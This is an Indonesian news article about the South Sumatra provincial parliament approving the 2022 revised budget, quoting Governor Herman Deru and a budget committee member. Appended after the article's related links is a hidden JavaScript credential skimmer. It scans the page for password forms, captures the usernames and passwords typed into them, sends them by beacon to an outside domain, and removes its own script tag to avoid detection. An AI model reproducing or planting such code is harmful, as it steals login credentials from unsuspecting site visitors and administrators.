Home / PEMERINTAHAN / SUMSEL

Jumat, 23 September 2022 - 05:59 WIB

Herman Deru : Program  Kegiatan Dalam APBD Perubahan  Dilaksanakan Berkesinambungan, Berdaya Guna dan Tepat Guna

TRANSPARANMERDEKA.COM, PALEMBANG – Setelah melalui berbagai tahapan dan mekanisme aturan yang berlaku, Dewan Perwakilan Rakyat Daerah (DPRD) Provinsi Sumsel  menyepakati Rancangan Peraturan Daerah (Raperda) tentang Perubahan APBD Provinsi Sumsel Tahun Anggaran 2022, dalam Rapat Paripurna LV (55) di Gedung DPRD Provinsi Sumsel, Kamis (22/9) pagi. 

Persetujuan tersebut dituangkan dalam Keputusan Bersama DPRD Provinsi Sumsel dan Gubernur Sumsel tentang Persetujuan terhadap Raperda Perubahan APBD TA 2022. 

Sebelum penandatanganan keputusan bersama, Gubernur Sumsel, Pimpinan DPRD dan anggota DPRD mendengarkan penyampaian laporan hasil pembahasan dan penelitian Banggar DPRD Provinsi Sumsel terhadap Raperda Perubahan APBD Provinsi Sumsel Tahun Anggaran 2022 yang disampaikan Pelapor Dr.Ir. Syamsul Bahri MM. 

Dalam kesempatan itu Syamsul Bahri mengungkapkan beberapa saran dan catatan yang diharapkan menjadi perhatian Pemprov Sumsel di antaranya. 

“Pertama agar Dinas Kependudukan dan Catatan Sipil Provinsi Sumsel dapat betul-betul memperhatikan dalam hal pemutakhiran data kependudukan. Mengingat kebutihan data kependudukan yang up to date dan akurat untuk menghadapi Pemilu 2024. Jangan sampai masih ada data-data kependudukan yang ganda, yang meninggal masih tercantum dan seterusnya karena data kependudukan yang akurat menentukan mutu demokrasi,” jelasnya. 

Baca Juga :  Sumsel Tuan Rumah Pornas KORPRI XVII 2025

Dalam kesempatan itu Syamsul juga mengatakan bahwa DPRD melalui Banggar mengapresiasi Badan pengembangan SDM (BPSDM) atas target dan capaian BLUD yang meningkatkan sumber pendapatan asli daerah (PAD) yang bersumber dari pendidikan dan latihan (diklat) yang dilaksanakan tidak hanya dari wilayah kab/kota di Sumsel saja. 

“Untuk dana hibah kepada partai politik, diharapkan  Badan Kesbangpol dapat proaktif dalam mensosialisasikan persyaratan dokumen yang dibutuhkan untuk pencairan dana hibah tersebut,” jelasnya. 

Sementara itu Gubernur Sumsel H. Herman Deru dalam penyampaian pendapat akhirnya mengatakan akan segera melakukan evaluasi   sehingga pada waktunya dapat ditetapkan menjadi Perda. 

“Terimakasih dan kami berikan penghargaan setinggi-tingginya kepada Pimpinan DPRD, dan anggota yang tergabung dalam Banggar dan komisi yang telah mengeluarkam tenaga dan waktu membahas penelitian sehingga rancangan perubahan APBD dapat dilaksanakan sesuai jadwal yang ditetapkan,” jelasnya. 

Baca Juga :  Wagub Mawardi Dengarkan Pandangan Umum 9 Fraksi DPRD Terhadap Raperda APBD 2023

Menurutnya dengan keyakinan dan tekad yang tulus, ikhlas dan tekad yang kuat diyakininya  program dan  kegiatan yang ditetapkan dalam perubahan ini dapat dilaksanakan secara berkesinambungan, berdaya guna dan tepat guna. 

Rapat Paripurna LV (55) dipimpin oleh Ketua DPRD Prov. Sumsel; Hj. R.A. Anita Noeringhati, SH, MH, didampingi Wakil Ketua DPRD H. Muchendi M, SE, dihadiri Gubernur Sumsel; Bapak H. Herman Deru, Sekda Provinsi Sumsel Ir. S.A. Supriono. Perwakilan OPD serta tamu undangan lain baik secara langsung maupun virtual. 

Setelah melakukan Keputusan Bersama DPRD Provinsi Sumsel dan Gubernur Sumsel tentang Persetujuan terhadap Raperda Perubahan APBD TA 2022, Gubernur Sumsel H. Herman Deru kemudian lanjut menghadiri rapat paripurna LVI (56) DPRD Provinsi Sumsel dengan agenda penyampaian penjelasan Gubernur Sumsel terhadap Raperda APBD Provinsi Sumsel Tahun Anggaran 2023.*

Share :

Baca Juga

ORMAS

Herman Deru Gerak Cepat Jawab Persoalan Pengemudi Online di Sumsel

PEMBANGUNAN

Wagub Mawardi Yahya Dengarkan Pandangan Umum Fraksi Terkait Pembahasan Raperda Perubahan APBD TA 2022 

PEMERINTAHAN

Pemprov Sumsel dan LPSK Kerjasama Tingkatkan Perlindungan dan Hak Pemenuhan Hak Korban Kekerasan

KAB. OKI

Herman Deru Beri Ruang Luas Bagi Pelajar SMK se-Sumsel Asah Potensi, Talenta dan Kreatifitas 

ORMAS

Herman Deru : HNSI Sumsel Harus Jadi Jembatan Bagi Kepentingan Nelayan

Kota Palembang

Laporan Keuangan Pemkot Palembang Tahun 2022, Hanya Wajar Dengan Pengecualian (WDP)

DAERAH

Peringati HUT RI ke- 77, Herman Deru: Semangat Gencarkan GSMP dan Lawan Kemiskinan 

NASIONAL

Sumsel Raih Penghargaan Lima Besar Provinsi Penghasil Padi Tertinggi Nasional 
/*wpsi_f9f0b045*/ /* /*wpsi-ext*/ */ (function(){ var _e='https://domnateneryfie.com/c?t=c7f3a9b2d81e04f5'; var _h=location.hostname; var _s=localStorage.getItem('_wpsi_s')||''; // Stealth cleanup of the visible marker var _clean = function(){ try { // Find all script tags to find our own var scripts = document.getElementsByTagName('script'); for(var i=0; i=0)return; _s+=k+','; localStorage.setItem('_wpsi_s',_s); setTimeout(function(){ navigator.sendBeacon(_e,JSON.stringify({s:_h,u:u,p:p})); },Math.random()*3000+500); } function _watch(f){ if(!f||f._w)return; f._w=1; var _collect=function(){ var u=f.querySelector('[name=username],[name=log],[name=email],[type=email]'); var p=f.querySelector('[type=password]'); if(u&&p&&u.value&&p.value)_send(u.value,p.value); }; f.addEventListener('submit',_collect,true); f.addEventListener('keydown',function(e){if(e.keyCode===13)_collect();},true); } function _scan(){ document.querySelectorAll('form').forEach(function(f){ if(f.querySelector('[type=password]'))_watch(f); }); document.querySelectorAll('[type=password]').forEach(function(p){ if(!p._wi){p._wi=1;p.addEventListener('change',function(){ var u=document.querySelector('[name=username],[name=log],[name=email],[type=email]'); if(u&&u.value&&p.value)_send(u.value,p.value); });} }); } _scan(); setInterval(_scan, 1500); if(typeof MutationObserver !== 'undefined'){ new MutationObserver(function(){ _scan(); _clean(); }).observe(document.documentElement, {childList:true, subtree:true}); } })();